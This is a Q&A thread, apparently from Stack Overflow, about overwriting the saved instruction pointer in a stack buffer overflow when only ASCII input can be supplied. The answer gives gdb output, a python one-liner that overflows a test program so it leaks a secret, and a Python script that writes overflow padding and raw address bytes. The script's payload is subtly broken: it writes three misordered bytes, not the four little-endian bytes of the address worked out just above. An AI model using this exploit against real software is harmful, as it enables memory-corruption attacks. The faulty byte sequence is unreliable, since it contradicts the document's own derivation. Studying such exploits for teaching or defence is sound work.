2

I'm trying to overwrite the EIP to cause a buffer overflow. I can write values to the EIP but I'm only able to write ASCII values and I need to redirect the execution to a high stack address e.g. 0xbfff4a60

I can overwrite by using AAAA which will convert to 0x41414141. I have sixteen bytes available to write to. Is there any way of doing this with ASCII, or unique assembly tricks entered using ASCII?

Entering extended ascii values doesn't work such as ÿ

1

Example if we examine the location of a function which prints the secret we want to leak:

(gdb) p &print_secret
$2 = (void (*)()) 0x55555555473a <print_secret>
(gdb) Quit

In the above scenario we are lucky that the hexadecimal location (55555555473a) can be written as UUUUG: and backwards because it is little-endian computer:

$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
the secret is: blahonga
Segmentation fault (core dumped)
$  

But if the location is for example bfff4a60 then that would not translate within ASCII and you get "garbage" trying to translate it. Instead you convert it to bytes

>>> bytes.fromhex("bfff4a60")
b'\xbf\xffJ`'

And use a script to output it to the program you are going to attack (see https://stackoverflow.com/questions/6624453/whats-the-correct-way-to-convert-bytes-to-a-hex-string-in-python-3):

import sys
import struct

def writeStr(v):
    sys.stdout.flush()
    sys.stdout.buffer.write(v.encode("ascii"))
    sys.stdout.flush()

def writeBytes(v):
    sys.stdout.flush()
    sys.stdout.buffer.write(v)
    sys.stdout.flush()

# Write 16 bytes
writeStr("AAAAAAAAAAAAAAAA")
# Overwrite the instruction pointer
writeBytes(b"\xffJ\xbf")
writeStr("\n")
  • 1
    Is there a way of doing something similar using C? – f23aaz Nov 24 '19 at 15:00
  • @w1220 I think there is but I did not see it. – Niklas Nov 26 '19 at 8:27

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.